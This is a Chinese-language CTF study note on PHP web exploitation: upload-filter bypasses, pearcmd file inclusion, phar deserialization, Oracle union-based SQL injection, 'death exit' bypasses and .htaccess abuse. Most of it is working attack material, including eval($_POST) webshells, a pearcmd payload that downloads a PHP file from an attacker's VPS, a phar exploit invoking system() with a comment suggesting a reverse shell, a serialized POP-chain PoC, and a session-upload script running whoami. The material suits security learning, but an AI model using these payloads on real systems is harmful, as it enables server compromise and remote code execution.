upload_lab补测

常见绕过

  • 前端拦截

前端都是纸老虎
简单的话就使用console修改前端js实现
复杂的话就上传一个正常文件,然后修改流量包

  • MIME类型判断

例如限制了

Content-Type: image/png

那么直接在上传木马时修改成对应的即可
不会影响文件的使用

  • 黑名单(过滤不全)

那么可以解析为php的文件后缀有很多
常见的:

php,php3,php4,php5,phtml
  • 黑名单(过滤全木马)

上传.htaccess文件
可以让更多的文件类型解析为php
示例:

<Directory />
Options +Indexes +FollowSymLinks +ExecCGI
AllowOverride All
Order allow,deny
Allow from all
Require all granted
</Directory>

上传.user.ini文件

auto_prepend_file=test.txt
  • 文件名处理逻辑

加点,加空格,双写,0x00阶段
不重复写了

LFI

php pear文件包含漏洞

全称为PHP Extension and Application Repository
开启了register_argc_argv这个选项
url中?后面的内容都会传入$_SERVER[‘argv’]这个变量里
argv是通过+作为分隔符
pear文件源码:

#!/bin/sh

# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
PHP="$PHP_PEAR_PHP_BIN"
else
if test "/usr/bin/php" = '@'php_bin'@'; then
PHP=php
else
PHP="/usr/bin/php"
fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
INCDIR=$PHP_PEAR_INSTALL_DIR
INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
if test "/usr/share/php" = '@'php_dir'@'; then
INCDIR=`dirname $0`
INCARG=""
else
INCDIR="/usr/share/php"
INCARG="-d include_path=/usr/share/php"
fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

当执行了pear时,会将$_SERVER[‘argv’]当作参数一起执行,从而自动拉取了指定的php文件

  • newstarctf 2023公开赛道include 🍐

<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];

if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}

include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>

根据提示找到phpinfo.php
发现fake{Check_register_argc_argv}
于是查看register_argc_argv都是on
且php服务的路径为/usr/local/etc/php
而当前网页的路径为SCRIPT_FILENAME /var/www/html/index.php
所以可以使用pearcmd.php进行命令的执行
pear命令可使用的参数:

构造:

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/a.php

在服务器中运行的命令实际为:

pear config-create "/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>" /var/www/html/a.php

最后包含a.php即可完成getshell
PS:尖括号用burpsuite发
https://whhxy4.github.io/2023/10/18/%E5%85%B3%E4%BA%8E%E5%88%A9%E7%94%A8pearcmd%E8%BF%9B%E8%A1%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/#:~:text=PHP%E8%A3%B8%E6%96%87%E4%BB%B6

  • [极客大挑战2024]ez_include

题目:

<?php
highlight_file(__FILE__);
require_once 'starven_secret.php';
if(isset($_GET['file'])) {
if(preg_match('/starven_secret.php/i', $_GET['file'])) {
require_once $_GET['file'];
}else{
echo "还想非预期?";
}
}

是一个绕过require_once包含限制的题
详见https://www.anquanke.com/post/id/213235
payload:

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

成功进入第二步/levelllll2.php:

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){
$file = $_GET ["syc"];
$hint = "register_argc_argv = On";
if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {
die("hint都给的这么明显了还不会做?");
}
if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){
include $file;
}
}

观察到register_argc_argv = On,可能是pear文件包含漏洞
构造payload:

/levelllll2.php?syc=/usr/local/lib/php/pearcmd.php&+download+http://vps地址:vps端口/1.php

成功getshell

CVE-2024-2961

https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py

phar文件包含

phar支持对一些压缩包的操作
不过只支持.zip.tar格式的

  • phar伪协议的利用

例如我们写一个test.php

<?php @eval($_POST[1]);?>

将其压缩为test.zip
然后直接修改文件名为test.jpg
就可以正常上传

如果有一个include的文件包含点
就可以利用phar伪协议包含文件里面的内容:

<?php
include('phar://./test.jpg/test.php');
// 执行压缩包内的test.php
?>
  • phar反序列化

Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。

这让我想起shirocookie反序列化

  • Phar文件结构

A stub:

stub的基本结构:<?php HALT_COMPILER();
stub必须以HALT_COMPILER();来作为结束部分,
否则Phar拓展将不会识别该文件。

a manifest describing the contents:

Phar文件中被压缩的文件的一些信息,
其中Meta-data部分的信息会以反序列化的形式储存,
这里就是漏洞利用的关键点

alt text
the file contents:

被压缩的文件内容,在没有特殊要求的情况下,
这个被压缩的文件内容可以随便写的,
因为我们利用这个漏洞主要是为了触发它的反序列化

a signature for verifying Phar integrity:

签名格式

alt text

生成一个phar:

<?php
class Test{
public $test="test";
}
@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
?>

具体的利用方式:

<?php
class Test{
public $test = "test";
}

// 恶意类:包含可被利用的魔术方法
class MaliciousClass {
public $cmd;

// 当对象被销毁时执行系统命令(反序列化触发点)
function __destruct() {
system($this->cmd); // 高危操作:执行任意系统命令
}
}

@unlink("exploit.phar");

$phar = new Phar("exploit.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

// 创建恶意对象而非 Test 对象
$obj = new MaliciousClass();
$obj->cmd = "touch /tmp/hacked"; // 修改此处执行任意命令(如反弹shell)

$phar->setMetadata($obj); // 注入恶意对象到元数据
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

Oracle

Oracle Database,又名 Oracle RDBMS,或简称 Oracle。
是甲骨文公司的一款关系数据库管理系统。
它是在数据库领域一直处于领先地位的产品。
可以说 Oracle 数据库系统是世界上流行的关系数据库管理系统,
系统可移植性好、使用方便、功能强,
适用于各类大、中、小微机环境。它是一种高效率的、
可靠性好的、适应高吞吐量的数据库方案。

数据库操作

• 查询数据库版本信息

-- 无需特权
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
-- 需要特权
SELECT version FROM v$instance;

• 查询操作系统版本

SELECT banner FROM v$version where banner like 'TNS%';

• 查询数据库运行的主机名

-- 需要特权
SELECT UTL_INADDR.get_host_name FROM dual;
-- 需要特权
SELECT host_name FROM v$instance;
-- 需要特权
SELECT UTL_INADDR.get_host_name('127.0.0.1') FROM dual;

• 查询当前用户权限的所有数据库

SELECT DISTINCT owner,table_name FROM all_tables WHERE owner=user;

• 查询当前用户权限的所有数据库

-- 无需特权
SELECT global_name FROM global_name;
-- 无需特权
SELECT SYS.DATABASE_NAME FROM DUAL;
-- 需要特权
SELECT name FROM v$database;
-- 需要特权
SELECT instance_name FROM v$instance;

• 查询数据库所有用户

-- 需要特权
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';

注入payload

https://blog.csdn.net/Javachichi/article/details/128711756

  • 判断数据库类型

    -- 使用 Oracle 专有的函数判断是否为 Oracle 数据库
    ?ename=-1' or to_char(1)=1--+
    ?ename=-1' or to_number('2e0')=2--+
  • 查询表名

    ?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1),NULL from dual--+
    ?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name<>'BONUS'),NULL from dual--+
    ?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT')),NULL from dual--+
    ?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT','EMP')),NULL from dual--+
    ?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT','EMP')),NULL from dual--+
  • 查询表中的字段名

    ?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1),NULL from dual--+
    ?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO')),NULL from dual--+
    ?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME')),NULL from dual--+
    ?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB')),NULL from dual--+
    ?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB','MGR')),NULL from dual--+
    ?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB','MGR','HIREDATE')),NULL from dual--+
  • 查询具体的数据

    ?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1),NULL from dual--+
    ?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename<>'SMITH'),NULL from dual--+
    ?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename not in ('SMITH','ALLEN')),NULL from dual--+
    ?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename not in ('SMITH','ALLEN','WARD')),NULL from dual--+
    ?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename not in ('SMITH','ALLEN','WARD','JONES')),NULL from dual--+s

绕过死亡exit

分三种情况

<?php
file_put_contents($filename,"<?php exit();?>".$content);
file_put_contents($content,"<?php exit();?>".$content);
file_put_contents($filename,$content."\nxxxxxx");
?>

都是写马,但是很可能在需要的代码执行前被退出或报错中断
第一种是文件名和内容都分别可控,
第二种要求文件名和内容相同
第三种文件名和内容分别可控,但在内容后接入了错误代码

这里我们的思路一般是想要将杂糅或者死亡代码分解掉;
这里思路基本上都是利用php伪协议filter,
结合编码或者相应的过滤器进行绕过,
其原理不外乎是将死亡或者杂糅代码分解成php无法识别的代码。

需要注意的是,有时候死亡代码是没有被闭合的,
像是这样:<?php exit();,
出现这种情况的时候,有时绕过需要将死亡代码闭合,
否则会影响后面写入的payload。

第一种

各种各样的利用协议进行编码绕过
这里记一下下面的两种也可以用

第二种

极客大挑战2024 ezpop

题目:

<?php
Class SYC{
public $starven;
public function __call($name, $arguments){
if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
die('no hack');
}
file_put_contents($this->starven,"<?php exit();".$this->starven);
}
}

Class lover{
public $J1rry;
public $meimeng;
public function __destruct(){
if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
echo "success";
$this->meimeng->source;
}
}

public function __invoke()
{
echo $this->meimeng;
}

}

Class Geek{
public $GSBP;
public function __get($name){
$Challenge = $this->GSBP;
return $Challenge();
}

public function __toString(){
$this->GSBP->Getflag();
return "Just do it";
}

}

if($_GET['data']){
if(preg_match("/meimeng/i",$_GET['data'])){
die("no hack");
}
unserialize($_GET['data']);
}else{
highlight_file(__FILE__);
}

分析代码,发现:

  • 漏洞利用点在SYC类的file_put_contents
  • 反序列化起始点在lover
  • pop链逻辑为 lover(destruct) -> Geek(get) -> lover(invoke) -> Geek(tostring) -> SYC(call)

poc如下:

<?php
Class SYC{
public $starven = "php://filter/write=string.strip_tags|?>php_value auto_prepend_file '/flag'\n#/resource=.htaccess";
}

Class lover{
public $J1rry='data://text/plain;base64,V2VsY29tZSBHZWVrQ2hhbGxlbmdlIDIwMjQ=';
public $meimeng;
}

Class Geek{
public $GSBP;

}

$a = new lover();
$a->meimeng = new Geek();
$a->meimeng->GSBP = new lover();
$a->meimeng->GSBP->meimeng = new Geek();
$a->meimeng->GSBP->meimeng->GSBP = new SYC();

echo serialize($a);
echo '<br>';
echo str_replace('abc','123','abcabc');
echo '<br>';
echo str_replace('s%3A7%3A%22meimeng','S%3A7%3A%22%5C6deimeng',urlencode(serialize($a)));

需要注意的绕过点:

  • 十六进制绕过$meimeng的正则匹配
  • 伪协议绕过$J1rryfile_get_content
  • 绕过死亡exit的大部分filter被ban,只能使用strip_tags写.htaccess进行文件包含

第三种

这种情况较为简单,仅仅需要让后面的杂糅代码被注释掉就就可以,
针对 php 而言,拥有特殊的起始符和结束符,
如果可以写入 php 代码的话,就可以轻易的绕过后面的杂糅代码。
正常写入payload即可,比如
识别到?>自动结束,也就不会受到杂糅代码的影响。

但是在禁止使用拥有特殊起始符和结束符号的语言时,需要想办法处理掉杂糅的代码。
通常利用 .htaccess 进行操作。
先写入存在php代码的文件(可以不是php文件),然后利用.htaccess预包含:

$filename='.htaccess'
$content='php_value auto_prepend_file shell.txt %0a%23\'

这里的%0a%23用来换行并注释杂糅代码,\用来转义\n使其也被注释,
确保.htaccess的编排不会出错,出错的后果就无法执行。

.htaccess利用总结

https://www.anquanke.com/post/id/205098#h3-4

https://eastjun.top/posts/htaccess_use/

https://www.freebuf.com/vuls/218495.html

语法汇总

一行一条指令:不需要分号结尾。

不区分大小写RewriteEngine Onrewriteengine on 是一样的(但文件名路径可能区分大小写,取决于操作系统)。

注释:使用 # 开头。

生效范围:它对当前目录 及其所有子目录 生效。

# 针对 php 文件
<FilesMatch "\.ph.*$">
SetHandler text/plain
</FilesMatch>

# 仅保护 wp-config.php 不被访问
<Files "wp-config.php">
Require all denied
</Files>

# 针对特定模块 (<IfModule>) 这是为了防止报错。
# 意思是:“如果服务器安装了这个模块,才执行里面的代码”。
<IfModule mod_rewrite.c>
RewriteEngine On
# 如果没开伪静态模块,这段代码会被忽略,不会导致 500 错误
</IfModule>

# 强制 HTTP 跳转到 HTTPS
RewriteEngine On
# 条件:如果 HTTPS 不是 on
RewriteCond %{HTTPS} off
# 规则:跳转到 https://原域名/原路径,[R=301]代表永久跳转,[L]代表这是最后一条规则
RewriteRule ^(.*)$ https://%{HTTP_HOST}/$1 [R=301,L]

#简单的伪静态 (URL Pretty) 把 product.php?id=123 变成 product/123
# ^product/([0-9]+)$ 意思是匹配 product/后面跟数字
# $1 代表第一个括号里匹配到的内容
RewriteRule ^product/([0-9]+)$ product.php?id=$1 [L]

# 禁止特定 IP 访问
Require all granted
Require not ip 192.168.1.5

# 密码保护目录 需要配合一个 .htpasswd 文件(存储加密后的密码)。
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/site/.htpasswd
Require valid-user

# 禁止目录列表
Options -Indexes

# 自定义错误页面
ErrorDocument 404 /404.html
ErrorDocument 500 /500.html

# 默认首页设置
DirectoryIndex index.php index.html home.htm

# 浏览器缓存
<IfModule mod_expires.c>
ExpiresActive On
ExpiresByType image/jpg "access plus 1 year"
ExpiresByType text/css "access plus 1 month"
</IfModule>
符号 含义 例子
^ 字符串开头 ^admin 匹配以 admin 开头的路径
$ 字符串结尾 .php$ 匹配以 .php 结尾的文件
. 任意单个字符 b.t 匹配 bat, bot, bit…
* 前面的字符重复 0 次或多次 .* 匹配所有内容 (万能通配符)
+ 前面的字符重复 1 次或多次 a+ 匹配 a, aa, aaa…
? 前面的字符出现 0 次或 1 次 https? 匹配 http 和 https
() 捕获组 (用于提取内容) (abc) 可以在后面用 $1 引用它
[] 字符集合 [0-9] 匹配任意数字
! 非 (取反) !^index\.php 不匹配 index.php

使文件解析为php

最常见的利用,可以使任意后缀的文件被解析为php

使当前目录以及子目录所有文件作为php解析:

SetHandler application/x-httpd-php

指定后缀名:

AddType application/x-httpd-php .jpg

指定单个文件:

<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

文件包含

php_value auto_prepend_file "shell.jpg"

这里的文件内容必须是完整的php文件格式,可以是正常标签也可以是短标签

<?php phpinfo(); ?>

//或者

<?=phpinfo();

还可以使用伪协议:

//<?php system('whoami'); ?>
PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=shell.jpg"

源码泄露

SetHandler text/plain

#或者
<FilesMatch "\.ph.*$">
SetHandler text/plain
</FilesMatch>

直接命令执行

条件:AllowOverride All或上传目录可用

Options +ExecCGI
AddHandler cgi-script .xx
#! /bin/bash

echo Content-type: text/html

echo ""

cat /flag

使自身可访问 & 原地写马

# 自身可访问
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>

# 写马
SetHandler application/x-httpd-php
# <?php phpinfo(); ?>

创造回溯绕过

<?php
if (preg_match('/admin/', $_POST['input'])) {
die('检测到非法字符!');
}

echo '欢迎你,' . $_POST['input'];
?>

没有对发生错误的情况进行处理

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

Bypass

关键字绕过(反斜杠+换行)
AddT\
ype application/x-httpd-php .abc
内容绕过

除了上面说过的filter+编码

还能直接指定文件本身的编码为utf-7,utf-16等等:

AddType application/x-httpd-php .aaa
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

可以用cyberchef

脏数据处理

使用反斜杠转义换行实现多行注释

也可以使用%00实现注释

AddT\
ype application/x-httpd-php .abc #\
asdf\
asdf

# 相当于
AddType application/x-httpd-php .abc #asdfasdf

或者

<?php
$data = urldecode('AddType application/x-httpd-php .abc%0a%00asdf');
file_put_contents('.htaccess', $data);
session绕过其它字符限制
php_value auto_append_file "/tmp/sess_gtfly"
php_value session.save_path "/tmp"
php_flag session.upload_progress.cleanup off

只需要使其自动添加一段session即可:

import requests

url='http://127.0.0.1/test.php'

headers={
"Cookie":'PHPSESSID=gtfly'
}

files={
"upload":''
}

data={
"PHP_SESSION_UPLOAD_PROGRESS": '''<?php echo system('whoami'); ?>'''
}

r = requests.session()

r.post(url,files=files,headers=headers,data=data)

t = r.get('http://127.0.0.1/test.php',headers=headers)

print(t.text)